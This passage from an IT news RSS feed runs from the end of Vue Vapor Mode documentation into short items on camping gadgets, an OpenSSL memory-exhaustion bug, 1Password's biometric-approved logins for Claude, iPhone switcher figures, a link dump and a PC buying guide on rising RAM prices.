<span class="pl-en">createApp</span><span class="pl-kos">(</span><span class="pl-v">App</span><span class="pl-kos">)</span><span class="pl-kos">.</span><span class="pl-en">use</span><span class="pl-kos">(</span><span class="pl-s1">vaporInteropPlugin</span><span class="pl-kos">)</span><span class="pl-kos">.</span><span class="pl-en">mount</span><span class="pl-kos">(</span><span class="pl-s">'#app'</span><span class="pl-kos">)</span></pre></div>
<p>A Vapor app instance can also install <code>vaporInteropPlugin</code> to allow VDOM components to be used inside, but this pulls in the VDOM runtime and offsets the benefits of a smaller bundle.</p>
<p>Components authored with render functions or JSX remain VDOM components and also require interop when used in a Vapor application.</p>
<p>When the interop plugin is installed, Vapor and non-Vapor components can be nested inside each other. This currently covers standard props, events, and slots usage, but does not yet account for all possible edge cases. For example, there may still be rough edges when using a VDOM-based component library in Vapor Mode.</p>
<p>In general, we recommend having distinct regions in an app where one rendering mode or the other is used, and avoiding mixed nesting as much as possible.</p>
<h2>Feature Compatibility</h2>
<p>By design, Vapor Mode supports a subset of existing Vue features. For the supported subset, we aim to deliver the same behavior according to the API specifications. The following features are currently unsupported or do not apply to Vapor Mode:</p>
<ul>
<li>Options API</li>
<li><code>app.config.globalProperties</code></li>
<li><code>getCurrentInstance()</code> returns <code>null</code> in Vapor components</li>
<li><code>@vue:xxx</code> per-element lifecycle events</li>
<li><code>v-memo</code></li>
<li>Component template refs do not expose properties such as <code>$el</code>, <code>$props</code>, <code>$attrs</code>, <code>$slots</code>, and <code>$refs</code></li>
</ul>
<h2>Important Usage Considerations</h2>
<h3>Event Delegation and <code>stopPropagation()</code></h3>
<p>Vapor delegates eligible events to <code>document</code>. Each element stores its own handler, and a single document listener walks the event path and invokes matching handlers.</p>
<p>If any ancestor calls <code>stopPropagation()</code>, the event never reaches <code>document</code>, and the delegated handler will not run.</p>
<p>The following forms bypass delegation and attach the listener directly to the element:</p>
<div class="highlight highlight-text-html-vue notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content='&lt;button @[event]="onClick" /&gt;
&lt;button v-bind="{ onClick }" /&gt;
&lt;button v-on="{ click: onClick }" /&gt;'><pre>&lt;<span class="pl-ent">button</span> @[<span class="pl-s1"><span class="pl-c1">event</span></span>]=<span class="pl-pds">"</span><span class="pl-s1"><span class="pl-smi">onClick</span></span><span class="pl-pds">"</span> /&gt;
&lt;<span class="pl-ent">button</span> <span class="pl-e">v-bind</span>=<span class="pl-pds">"</span><span class="pl-s1">{ <span class="pl-smi">onClick</span> }</span><span class="pl-pds">"</span> /&gt;
&lt;<span class="pl-ent">button</span> <span class="pl-e">v-on</span>=<span class="pl-pds">"</span><span class="pl-s1">{ click: <span class="pl-smi">onClick</span> }</span><span class="pl-pds">"</span> /&gt;</pre></div>
<h3><code>slots.default()</code> Is Not a Safe Dry Run</h3>
<p>In Vapor, <code>slots.default()</code> is not a side-effect-free inspection API. Calling it executes the slot's rendering logic, which may create Blocks and DOM nodes, register reactive effects, and claim existing SSR DOM during hydration.</p>
<p>Do not call a slot to inspect its output before deciding what else to render:</p>
<div class="highlight highlight-text-html-vue notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="&lt;script setup vapor&gt;
import { useSlots } from 'vue'

const slots = useSlots()
const content = slots.default?.()
const showFallback = !content
&lt;/script&gt;

&lt;template&gt;
  &lt;div v-if=&quot;showFallback&quot;&gt;Fallback&lt;/div&gt;
&lt;/template&gt;"><pre>&lt;<span class="pl-ent">script</span> setup vapor&gt;<span class="pl-s1"></span>
<span class="pl-s1"><span class="pl-k">import</span> { <span class="pl-smi">useSlots</span> } <span class="pl-k">from</span> <span class="pl-s"><span class="pl-pds">'</span>vue<span class="pl-pds">'</span></span></span>
<span class="pl-s1"></span>
<span class="pl-s1"><span class="pl-k">const</span> <span class="pl-c1">slots</span> <span class="pl-k">=</span> <span class="pl-en">useSlots</span>()</span>
<span class="pl-s1"><span class="pl-k">const</span> <span class="pl-c1">content</span> <span class="pl-k">=</span> <span class="pl-smi">slots</span>.<span class="pl-smi">default</span><span class="pl-k">?</span>.()</span>
<span class="pl-s1"><span class="pl-k">const</span> <span class="pl-c1">showFallback</span> <span class="pl-k">=</span> <span class="pl-k">!</span>content</span>
<span class="pl-s1"><span class="pl-k">&lt;</span><span class="pl-k">/</span>script<span class="pl-k">&gt;</span></span>
<span class="pl-s1"></span>
<span class="pl-s1"><span class="pl-k">&lt;</span>template<span class="pl-k">&gt;</span></span>
<span class="pl-s1">  <span class="pl-k">&lt;</span>div v<span class="pl-k">-</span><span class="pl-k">if</span><span class="pl-k">=</span><span class="pl-s"><span class="pl-pds">"</span>showFallback<span class="pl-pds">"</span></span><span class="pl-k">&gt;</span>Fallback<span class="pl-k">&lt;</span><span class="pl-k">/</span>div<span class="pl-k">&gt;</span></span>
<span class="pl-s1"><span class="pl-k">&lt;</span><span class="pl-k">/</span>template<span class="pl-k">&gt;</span></span></pre></div>
<p>Instead, leave slot rendering to the template:</p>
<div class="highlight highlight-text-html-vue notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="&lt;template&gt;
  &lt;slot /&gt;
&lt;/template&gt;"><pre>&lt;<span class="pl-ent">template</span>&gt;
  &lt;<span class="pl-ent">slot</span> /&gt;
&lt;/<span class="pl-ent">template</span>&gt;</pre></div>
<h3>Custom Directives Use a Different Interface</h3>
<p>Custom directives in Vapor also have a different interface:</p>
<div class="highlight highlight-source-ts notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="type VaporDirective = (
  node: Element | VaporComponentInstance,
  value?: () =&gt; any,
  argument?: string,
  modifiers?: DirectiveModifiers,
) =&gt; (() =&gt; void) | void"><pre><span class="pl-k">type</span> <span class="pl-smi">VaporDirective</span> <span class="pl-c1">=</span> <span class="pl-kos">(</span>
  <span class="pl-s1">node</span>: <span class="pl-smi">Element</span> <span class="pl-c1">|</span> <span class="pl-smi">VaporComponentInstance</span><span class="pl-kos">,</span>
  <span class="pl-s1">value</span>?: <span class="pl-kos">(</span><span class="pl-kos">)</span> <span class="pl-c1">=&gt;</span> <span class="pl-smi">any</span><span class="pl-kos">,</span>
  <span class="pl-s1">argument</span>?: <span class="pl-smi">string</span><span class="pl-kos">,</span>
  <span class="pl-s1">modifiers</span>?: <span class="pl-smi">DirectiveModifiers</span><span class="pl-kos">,</span>
<span class="pl-kos">)</span> <span class="pl-c1">=&gt;</span> <span class="pl-kos">(</span><span class="pl-kos">(</span><span class="pl-kos">)</span> <span class="pl-c1">=&gt;</span> <span class="pl-smi"><span class="pl-k">void</span></span><span class="pl-kos">)</span> <span class="pl-c1">|</span> <span class="pl-smi"><span class="pl-k">void</span></span></pre></div>
<p><code>value</code> is a reactive getter that returns the binding value. Reactive effects can be set up using <code>watchEffect()</code> and are automatically released when the component unmounts. A directive may also return a cleanup function:</p>
<div class="highlight highlight-source-ts notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="const MyDirective = (el, source) =&gt; {
  watchEffect(() =&gt; {
    el.textContent = source()
  })
  return () =&gt; console.log('cleanup')
}"><pre><span class="pl-k">const</span> <span class="pl-v">MyDirective</span> <span class="pl-c1">=</span> <span class="pl-kos">(</span><span class="pl-s1">el</span><span class="pl-kos">,</span> <span class="pl-s1">source</span><span class="pl-kos">)</span> <span class="pl-c1">=&gt;</span> <span class="pl-kos">{</span>
  <span class="pl-en">watchEffect</span><span class="pl-kos">(</span><span class="pl-kos">(</span><span class="pl-kos">)</span> <span class="pl-c1">=&gt;</span> <span class="pl-kos">{</span>
    <span class="pl-s1">el</span><span class="pl-kos">.</span><span class="pl-c1">textContent</span> <span class="pl-c1">=</span> <span class="pl-en">source</span><span class="pl-kos">(</span><span class="pl-kos">)</span>
  <span class="pl-kos">}</span><span class="pl-kos">)</span>
  <span class="pl-k">return</span> <span class="pl-kos">(</span><span class="pl-kos">)</span> <span class="pl-c1">=&gt;</span> <span class="pl-smi">console</span><span class="pl-kos">.</span><span class="pl-en">log</span><span class="pl-kos">(</span><span class="pl-s">'cleanup'</span><span class="pl-kos">)</span>
<span class="pl-kos">}</span></pre></div>
<h2>Behavior Consistency</h2>
<p>Vapor Mode attempts to match VDOM Mode behavior as much as possible, but minor inconsistencies may still exist in edge cases because the two rendering modes are fundamentally different. In general, a minor inconsistency is not considered a breaking change unless the behavior has previously been documented.</p>
<p>For stable releases, please refer to <a href="https://github.com/vuejs/core/blob/main/CHANGELOG.md">CHANGELOG.md</a> for details.<br>
For pre-releases, please refer to <a href="https://github.com/vuejs/core/blob/minor/CHANGELOG.md">CHANGELOG.md</a> of the <code>minor</code> branch.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Wer diesen Sommer nicht wie ein Höhlenmensch campen will, braucht diese 6 Gadgets]]></title>
<description><![CDATA[Camping wird 2026 immer weniger „offline und improvisiert“ – und immer mehr ein Hightech-Setup unter freiem Himmel. Von smarter Energieversorgung bis zu digitalen Tools für Navigation und Sicherheit: Die Natur bleibt zwar das Ziel, aber die Technik macht das Erlebnis deutlich komfortabler, effizi...]]></description>
<link>https://tsecurity.de/de/3677163/it-nachrichten/wer-diesen-sommer-nicht-wie-ein-hoehlenmensch-campen-will-braucht-diese-6-gadgets/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677163/it-nachrichten/wer-diesen-sommer-nicht-wie-ein-hoehlenmensch-campen-will-braucht-diese-6-gadgets/</guid>
<pubDate>Sat, 18 Jul 2026 00:32:19 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Camping wird 2026 immer weniger „offline und improvisiert“ – und immer mehr ein Hightech-Setup unter freiem Himmel. Von smarter Energieversorgung bis zu digitalen Tools für Navigation und Sicherheit: Die Natur bleibt zwar das Ziel, aber die Technik macht das Erlebnis deutlich komfortabler, effizienter und oft auch nachhaltiger.]]></content:encoded>
</item>
<item>
<title><![CDATA[OpenSSL „HollowByte“: 11-Byte-TLS-Anfragen frieren Server-Speicher ein]]></title>
<description><![CDATA[LONDON (IT BOLTWISE) – Eine scheinbar harmlose TLS-Nachricht mit nur 11 Byte kann ungepatchte OpenSSL-Server dazu bringen, bis zu 131 KB Speicher pro Verbindung vorzuhalten und nie wieder freizugeben. In Tests führte das zu steigenden Heap-Fragmenten und im Extremfall zu OOM-Kills, selbst ohne di...]]></description>
<link>https://tsecurity.de/de/3677014/it-security-nachrichten/openssl-hollowbyte-11-byte-tls-anfragen-frieren-server-speicher-ein/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677014/it-security-nachrichten/openssl-hollowbyte-11-byte-tls-anfragen-frieren-server-speicher-ein/</guid>
<pubDate>Fri, 17 Jul 2026 22:53:38 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1024" height="1024" src="https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-openssl-hollowbyte-tls-memory-glibc.jpg" class="attachment- size- wp-post-image" alt="" decoding="async" fetchpriority="high" srcset="https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-openssl-hollowbyte-tls-memory-glibc.jpg 1024w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-openssl-hollowbyte-tls-memory-glibc-300x300.jpg 300w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-openssl-hollowbyte-tls-memory-glibc-150x150.jpg 150w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-openssl-hollowbyte-tls-memory-glibc-768x768.jpg 768w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-openssl-hollowbyte-tls-memory-glibc-840x840.jpg 840w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-openssl-hollowbyte-tls-memory-glibc-120x120.jpg 120w" sizes="(max-width: 1024px) 100vw, 1024px">LONDON (IT BOLTWISE) – Eine scheinbar harmlose TLS-Nachricht mit nur 11 Byte kann ungepatchte OpenSSL-Server dazu bringen, bis zu 131 KB Speicher pro Verbindung vorzuhalten und nie wieder freizugeben. In Tests führte das zu steigenden Heap-Fragmenten und im Extremfall zu OOM-Kills, selbst ohne die typischen Hürde-Mechanismen von Authentifizierung oder Session-Setup. Kritisch ist dabei vor allem […]</p>
<div><a href="https://www.it-boltwise.de/openssl-hollowbyte-11-byte-tls-anfragen-frieren-server-speicher-ein.html">... den vollständigen Artikel <strong>»OpenSSL „HollowByte“: 11-Byte-TLS-Anfragen frieren Server-Speicher ein«</strong> lesen</a></div>
<p>Dieser Beitrag <a href="https://www.it-boltwise.de/openssl-hollowbyte-11-byte-tls-anfragen-frieren-server-speicher-ein.html">OpenSSL „HollowByte“: 11-Byte-TLS-Anfragen frieren Server-Speicher ein</a> erschien als erstes auf <a href="https://www.it-boltwise.de/">IT BOLTWISE x Artificial Intelligence</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[1Password Now Lets Claude Log In Without Seeing Your Passwords]]></title>
<description><![CDATA[If you want an artificial intelligence tool to book a flight or buy an audiobook, it usually needs to log into your personal accounts. Sharing your private login details directly with a chatbot feels risky, but a new software update changes that process entirely. The popular password manager 1Pas...]]></description>
<link>https://tsecurity.de/de/3676172/ios-mac-os/1password-now-lets-claude-log-in-without-seeing-your-passwords/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676172/ios-mac-os/1password-now-lets-claude-log-in-without-seeing-your-passwords/</guid>
<pubDate>Fri, 17 Jul 2026 15:26:07 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[If you want an artificial intelligence tool to book a flight or buy an audiobook, it usually needs to log into your personal accounts. Sharing your private login details directly with a chatbot feels risky, but a new software update changes that process entirely. The popular password manager 1Password just built a clever way for the smart assistant Claude to access your online accounts without ever actually seeing your private passwords or verification codes.



The new tool needs your fingerprint to approve each login



When Claude needs to get into a website to finish a task, it sends a prompt to your 1Password app. You will see exactly what site the agent wants to access and why it needs to go there. To approve the request, you just use a biometric check, like a quick fingerprint scan on your keyboard.



Once you approve the request, 1Password drops the username and password directly into the website form. The actual text of the password never goes to Claude, its memory banks, or the servers at Anthropic. This method keeps your sensitive data strictly on your own device while the digital assistant does its job.



A special lockdown mode keeps your main password vault hidden



Along with this handy feature, 1Password introduced a security setting called Agentic Mode. Whenever a supported AI bot takes control of your web browser, this mode automatically locks down your entire vault. The bot can only use the specific login details you just approved for that exact moment, so your other accounts stay completely off limits.



Right now, this setup is only available for Mac users on individual, family, or business plans. You need the desktop apps and browser extensions for both 1Password and Claude to make it work. The company also plans to add support for payment cards and identity details later, making it easier to let your digital helper handle online shopping.



Instead of forcing you to choose between convenience and security, this integration proves we can safely trust digital assistants with daily chores. It sets a clear, safe standard for how smart apps should handle our private data moving forward.]]></content:encoded>
</item>
<item>
<title><![CDATA[Apple Continues To See Steady Flow Of Android Switchers In 2026]]></title>
<description><![CDATA[Getting people to switch their phone setup remains a top goal for Apple. According to new research from Consumer Intelligence Research Partners, a solid chunk of buyers are still making the leap from rival devices. The firm looked closely at people who bought a new iPhone in the US during the fir...]]></description>
<link>https://tsecurity.de/de/3676124/ios-mac-os/apple-continues-to-see-steady-flow-of-android-switchers-in-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676124/ios-mac-os/apple-continues-to-see-steady-flow-of-android-switchers-in-2026/</guid>
<pubDate>Fri, 17 Jul 2026 15:06:49 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Getting people to switch their phone setup remains a top goal for Apple. According to new research from Consumer Intelligence Research Partners, a solid chunk of buyers are still making the leap from rival devices. The firm looked closely at people who bought a new iPhone in the US during the first few months of the year to see exactly what phone they used before upgrading.



Twelve percent of recent buyers moved from an Android device



During the March 2026 quarter, survey data showed that 12 percent of new smartphone purchases came directly from people who previously owned an Android device. The research group tracks this by asking buyers about their prior phone and operating system when they make a new purchase.



This current number falls right in line with recent historical trends. Over the past few years, the rate of users leaving devices powered by Google to join the iOS platform has mostly settled between 11 and 15 percent. The early days of mobile carrier expansion saw massive waves of people jumping ship, but the market has now reached a much more predictable rhythm.



While the massive spikes of platform switching are mostly in the past, pulling in more than one out of every ten new buyers from a rival company is a steady win. It shows that the platform still holds strong appeal for those looking to change their daily tech routine.]]></content:encoded>
</item>
<item>
<title><![CDATA[Linkdump 29/2026]]></title>
<description><![CDATA[Viel Spass bei den von mir als lesenswert empfundenen Links auf Artikel, die ich in der vergangenen Woche gelesen habe.

Interesting for everyone who wants to start a newsletter as well. How I Built My Own Newsletter Setup (And Why).

From Metrics to Meaning, don't forget to step back and see the...]]></description>
<link>https://tsecurity.de/de/3675919/it-nachrichten/linkdump-292026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675919/it-nachrichten/linkdump-292026/</guid>
<pubDate>Fri, 17 Jul 2026 13:48:36 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Viel Spass bei den von mir als lesenswert empfundenen Links auf Artikel, die ich in der vergangenen Woche gelesen habe.<br>
<br>
Interesting for everyone who wants to start a newsletter as well. <a href="https://endler.dev/2026/newsletter-setup/">How I Built My Own Newsletter Setup (And Why)</a>.<br>
<br>
<a href="https://mikefisher.substack.com/p/from-metrics-to-meaning">From Metrics to Meaning</a>, don't forget to step back and see the whole picture.<br>
<br>
Interesting insight from the "new" CEO,  <a href="https://bitwarden.com/blog/my-first-100-days-at-bitwarden/">My first 100 days at Bitwarden</a>.<br>
<br>
<a href="https://projekte-leicht-gemacht.de/blog/projektmanagement-praxis/abstimmungen-als-zeitfresser-im-projekt/">Warum „kurz abstimmen“ im Projekt so viel Zeit frisst</a> – oh, ja, wie wahr.<br>
<br>
You can be busy without even doing something, <a href="https://nesslabs.com/newsletter/busyness-trap">The Busyness Trap</a>.<br>
<br>
<a href="https://www.scotthyoung.com/blog/2026/04/23/motivate-yourself-to-do-anything/">How to Motivate Yourself to Do Anything</a>, yes, good catches.<br>]]></content:encoded>
</item>
<item>
<title><![CDATA[PC-Kaufberatung 2026: RAM kostet jetzt das 4x – hier 3 Setups, mit denen Sie sparen]]></title>
<description><![CDATA[Lange Zeit galten fallende Hardware-Preise als Naturgesetz: Wer ein paar Monate wartete, bekam mehr Leistung für weniger Geld. Mitte 2026 gelten diese Regeln leider nicht mehr. Der gigantische Hunger der Rechenzentren nach KI-Beschleunigern saugt die Produktionskapazitäten der großen Halbleiterfe...]]></description>
<link>https://tsecurity.de/de/3675470/it-nachrichten/pc-kaufberatung-2026-ram-kostet-jetzt-das-4x-hier-3-setups-mit-denen-sie-sparen/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675470/it-nachrichten/pc-kaufberatung-2026-ram-kostet-jetzt-das-4x-hier-3-setups-mit-denen-sie-sparen/</guid>
<pubDate>Fri, 17 Jul 2026 10:32:34 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Lange Zeit galten fallende Hardware-Preise als Naturgesetz: Wer ein paar Monate wartete, bekam mehr Leistung für weniger Geld. Mitte 2026 gelten diese Regeln leider nicht mehr. Der gigantische Hunger der Rechenzentren nach <a href="https://www.pcwelt.de/article/2806063/so-macht-chatgpt-ihren-alltag-spuerbar-leichter-16-aufgaben-rasch-erledigen-lassen.html">KI</a>-Beschleunigern saugt die Produktionskapazitäten der großen Halbleiterfertiger leer – Besserung ist erst einmal nicht in Sicht. Für Endverbraucher bedeutet das: Wer jetzt einen neuen Desktop-PC braucht, sieht sich mit einem <a href="https://www.pcwelt.de/article/3027453/nvidia-und-amd-erwagen-die-wiederbelebung-alterer-chips-um-den-steigenden-pc-kosten-entgegenzuwirken.html" target="_blank" rel="noreferrer noopener">äußerst angespannten Markt</a> konfrontiert.</p>



<div class="ppl_wrap"><div class="top_head"><p class="pro_tag">PROMOTION</p><p><strong>Ihr Laptop kann nur ein Ding? Dieses 2-in-1-Modell passt sich Ihrem Workflow an</strong></p></div><div class="ppl_row"><div class="pro_right promotion-item__image-outer-wrapper--small"><img decoding="async" class="promotion-item__image" src="https://b2c-contenthub.com/wp-content/uploads/2026/07/HP-PPL-5.png" loading="lazy"></div><p class="ppl_text">
</p><p>Das HP OmniBook 5 Flip bietet dank 360°-Scharnier vier Nutzungsmodi – vom klassischen Laptop bis zum Tablet. Der Intel® Core™ 7 Prozessor sorgt für flüssiges Arbeiten im Alltag. Das 14 Zoll 2K-Touchdisplay (1.920 x 1.200) stellt Inhalte gestochen scharf dar, 16 GB RAM und 512 GB SSD bieten Leistung und Platz für Ihre Projekte. Die Fast-Charge-Funktion bringt Sie schnell zurück auf 50 % Akkuladung.</p>
</div><div class="clear-both"></div><div class="more_btn"><a href="http://www.awin1.com/cread.php?awinaffid=486277&amp;awinmid=11657&amp;clickref=rss&amp;ued=https://www.cyberport.de/notebook-und-tablet/notebooks/hp/pdp/1c24-6zr/hp-omnibook-5-flip-14-2k-touchscreen-core-7-150u-16gb-512gb-ssd-windows-11-home-14-fp0471ng.html" target="_blank" class="promotion-view-deal-link" rel="noopener">Erfahren Sie mehr über das HP OmniBook 5 Flip</a></div></div>



<p>Gleichzeitig ist die technische Verlockung groß: Mit Nvidias <a href="https://www.pcwelt.de/article/2572482/geforce-rtx-5000er-im-technik-check-nicht-jede-ist-zu-empfehlen.html" target="_blank" rel="noreferrer noopener">Blackwell-Architektur</a> (RTX 50-Serie) und AMDs effizienten <a href="https://www.pcwelt.de/article/2428752/amd-ryzen-9000-pro-contra-acht-gruende-fuer-oder-gegen-kauf-beratung.html" target="_blank" rel="noreferrer noopener">Ryzen-9000</a>-Prozessoren stehen technologische Schwergewichte in den Regalen, die einen massiven Leistungssprung versprechen. Lohnt sich also das Warten auf bessere Preise? Die klare Antwort lautet: <strong>Nein, zumindest nicht in absehbarer Zeit.</strong> Wer jetzt einen neuen PC braucht, muss nicht warten – sollte aber clever konfigurieren, um die aktuellen Stolpersteine der Industrie zu umschiffen.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure data-wp-context='{"imageId":"6a59e877623fb"}' data-wp-interactive="core/image" class="wp-block-image size-large is-resized wp-lightbox-container"><img decoding="async" data-wp-class--hide="state.isContentHidden" data-wp-class--show="state.isContentVisible" data-wp-init="callbacks.setButtonStyles" data-wp-on-async--click="actions.showLightbox" data-wp-on-async--load="callbacks.setButtonStyles" data-wp-on-async-window--resize="callbacks.setButtonStyles" src="https://b2c-contenthub.com/wp-content/uploads/2026/06/RAM-Preise-Idealo-DDR5-7200.png?w=1200" alt="RAM Preise Idealo DDR5 7200" class="wp-image-3173112" width="1200" height="816" loading="lazy"><button class="lightbox-trigger" type="button" aria-haspopup="dialog" aria-label="Enlarge" data-wp-init="callbacks.initTriggerButton" data-wp-on-async--click="actions.showLightbox" data-wp-style--right="state.imageButtonRight" data-wp-style--top="state.imageButtonTop">
				<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" fill="none" viewbox="0 0 12 12">
					<path fill="#fff" d="M2 0a2 2 0 0 0-2 2v2h1.5V2a.5.5 0 0 1 .5-.5h2V0H2Zm2 10.5H2a.5.5 0 0 1-.5-.5V8H0v2a2 2 0 0 0 2 2h2v-1.5ZM8 12v-1.5h2a.5.5 0 0 0 .5-.5V8H12v2a2 2 0 0 1-2 2H8Zm2-12a2 2 0 0 1 2 2v2h-1.5V2a.5.5 0 0 0-.5-.5H8V0h2Z"></path>
				</svg>
			</button><figcaption class="wp-element-caption">Preisschock beim Arbeitsspeicher: Besonders für schnellen DDR5-RAM haben sich die Preise teils vervierfacht. Der zwingende Kompromiss: Statt zu DDR5-7200 greifen wir aktuell besser zu DDR5-6000 – oder gleich zum älteren DDR4-Speicher.</figcaption></figure><p class="imageCredit">Foundry</p></div>



<div class="wp-block-idg-base-theme-box-text inline-box">
<p><strong>Der RAM-Schock – und wie man damit umgeht</strong></p>



<p>Während CPUs und Grafikkarten zwar teuer, aber immerhin verlässlich lieferbar sind, entwickelt sich der Arbeitsspeicher (<a href="https://www.pcwelt.de/article/2894110/dieser-arbeitsspeicher-ist-aktuell-die-beste-wahl-fuer-gamer.html" target="_blank" rel="noreferrer noopener">RAM</a>) immer mehr zum Schmerzpunkt für jeden PC-Bauer. Der Grund: Die großen Speicherhersteller priorisieren zunehmend den lukrativen <strong>HBM-Speicher</strong> (High Bandwidth Memory) für KI-Chips und <strong>schichten ihre Produktionskapazitäten um</strong>. Gleichzeitig saugen die neuen KI-Rechenzentren den verbleibenden Markt für klassischen DDR5-Arbeitsspeicher leer, da moderne Server-Cluster neben HBM auch gigantische Mengen an regulärem RAM benötigen. Für den klassischen Desktop-Markt stehen dadurch deutlich weniger Produktionskapazitäten zur Verfügung. Die Folge ist eine drastische Verknappung bei herkömmlichen Riegeln. DDR5-Kits kosten aktuell teilweise viermal so viel wie noch im Herbst 2025 – ein vernünftiges 32-GB-Kit reißt schnell ein Loch von über 400 Euro in die Kasse. Aus dieser Entwicklung ergeben sich neue Spielregeln für den PC-Kauf, mit denen sich die Preisexplosion spürbar entschärfen lässt.</p>



<ul class="wp-block-list">
<li><strong>Geschwindigkeit drosseln:</strong> Wer Premium-Preise zahlt, den erwartet auch Premium-Leistung. Doch extrem schneller Speicher wie DDR5-7200 rechnet sich aktuell wirtschaftlich kaum. Der Sweetspot für moderne AMD- und Intel-Systeme liegt 2026 bei <strong>DDR5-6000</strong> – idealerweise mit CL30-Latenzen (z.B. <a href="https://www.amazon.de/dp/B0D4NLTM6R?tag=pcwelt.de-21&amp;ascsubtag=rss" target="_blank" rel="noreferrer noopener">Patriot Viper Venom DDR5-6000 2X16GB, CL30</a>). Der Leistungsunterschied im Alltag ist marginal, die Preisersparnis deutlich spürbar.</li>



<li><strong>Verzichten Sie auf „Zukunfts-Speck“:</strong> Niemand sollte aktuell Arbeitsspeicher auf Vorrat kaufen. Hat man früher gerne großzügig verbaut und direkt zu 64 GB gegriffen, so lautet die Devise heute: 32 GB sind für die meisten Gamer und Kreativanwender (Videoschnitt) aktuell der vernünftige Sweetspot. Mehr Kapazität verschlingt nur das dringend benötigte Budget für die Grafikkarte oder den Prozessor. Ausnahme: bedingungslose High-End-Konfigurationen.</li>



<li><strong>DDR4 als Rettungsanker:</strong> Für reine Office-PCs oder sparsame Builds lohnt sich 2026 paradoxerweise der Blick in die Vergangenheit. Eine alte AM4-Plattform mit DDR4-Speicher (z.B. <a href="https://www.amazon.de/dp/B07RW6Z692?tag=pcwelt.de-21&amp;ascsubtag=rss" target="_blank" rel="noreferrer noopener">Corsair Vengeance DDR4-3200 2x16GB, CL16</a>) kostet einen Bruchteil moderner Systeme. Die DDR4-Preise sind zwar branchenbedingt ebenfalls gestiegen, allerdings etwas moderater. Für aktuelle Gaming-Boliden (wie die <a href="https://www.pcwelt.de/article/3058167/die-besten-amd-am5-mainboards.html" target="_blank" rel="noreferrer noopener">AM5-Plattform</a>) führt jedoch kein Weg am teuren DDR5-Speicher vorbei.</li>
</ul>
</div>



<h2 class="wp-block-heading">Drei Beispiel-Konfigurationen: Für jeden Anspruch das richtige Setup</h2>



<p>Die strategischen Fragen sind geklärt, wir machen uns ans Eingemachte. In den folgenden drei Setups listen wir die besten Kernkomponenten für ein optimales Preis-Leistungsverhältnis auf. Um Ihnen maximale Flexibilität zu ermöglichen, nennen wir innerhalb der Konfigurationen unterschiedliche Komponenten: So können Sie je nach persönlicher Vorliebe gezielt den Preis beeinflussen, mehr Leistung herausholen oder zwischen AMD und Intel wechseln, wenn sich das sinnvoll anbietet.</p>



<div class="wp-block-idg-base-theme-box-text inline-box">
<p><strong>📌</strong><strong> Redaktioneller Hinweis zur Preiskalkulation</strong></p>



<p>Die nachfolgenden Preisrahmen beziehen sich rein auf die <strong>Kern-Komponenten des PCs </strong>(Zentralrechner). Nicht eingerechnet sind optionale Zusatzlüfter (falls nicht ab Werk verbaut), separate optische Laufwerke sowie externe Peripherie wie Monitor, Tastatur, Maus oder die Lizenz für das Betriebssystem (Windows 11). Planen Sie dafür je nach Bedarf ein zusätzliches Budget ein. Beratung beim Kauf bieten unsere Ratgeber und Vergleichstests:</p>



<ul class="wp-block-list">
<li><a href="https://www.pcwelt.de/article/3127541/beste-grafikkarten-fuer-gamer.html" target="_blank" rel="noreferrer noopener">Diese Grafikkarten sind ihr Geld wert</a></li>



<li><a href="https://www.pcwelt.de/article/1165008/der-ideale-gaming-prozessor-tipps-zum-cpu-kauf.html" target="_blank" rel="noreferrer noopener">Der ideale Gaming-Prozessor ab 80 Euro</a></li>



<li><a href="https://www.pcwelt.de/article/3058167/die-besten-amd-am5-mainboards.html" target="_blank" rel="noreferrer noopener">Die besten AM5-Mainboards für AMD Ryzen 9000, 8000 und 7000</a></li>



<li><a href="https://www.pcwelt.de/article/3143204/beste-netzteile-ab-650-watt.html" target="_blank" rel="noreferrer noopener">Die besten PC-Netzteile: Unsere Empfehlungen von 650 bis 1650 Watt</a></li>



<li><a href="https://www.pcwelt.de/article/3041188/bester-monitor-test.html" target="_blank" rel="noreferrer noopener">Die besten Monitore für Office, Gaming &amp; 4K</a></li>



<li><a href="https://www.pcwelt.de/article/1202798/test-kabellose-tastaturen.html" target="_blank" rel="noreferrer noopener">Die besten kabellosen Tastaturen im Test</a></li>



<li><a href="https://www.pcwelt.de/article/1187432/vergleich-test-wireless-gaming-maus-drahtlos.html" target="_blank" rel="noreferrer noopener">Die besten kabellosen Gaming-Mäuse im Test</a></li>



<li><a href="https://www.pcwelt.de/article/1178130/test-gaming-headsets-vergleich.html" target="_blank" rel="noreferrer noopener">Die besten Gaming-Headsets im Test</a></li>



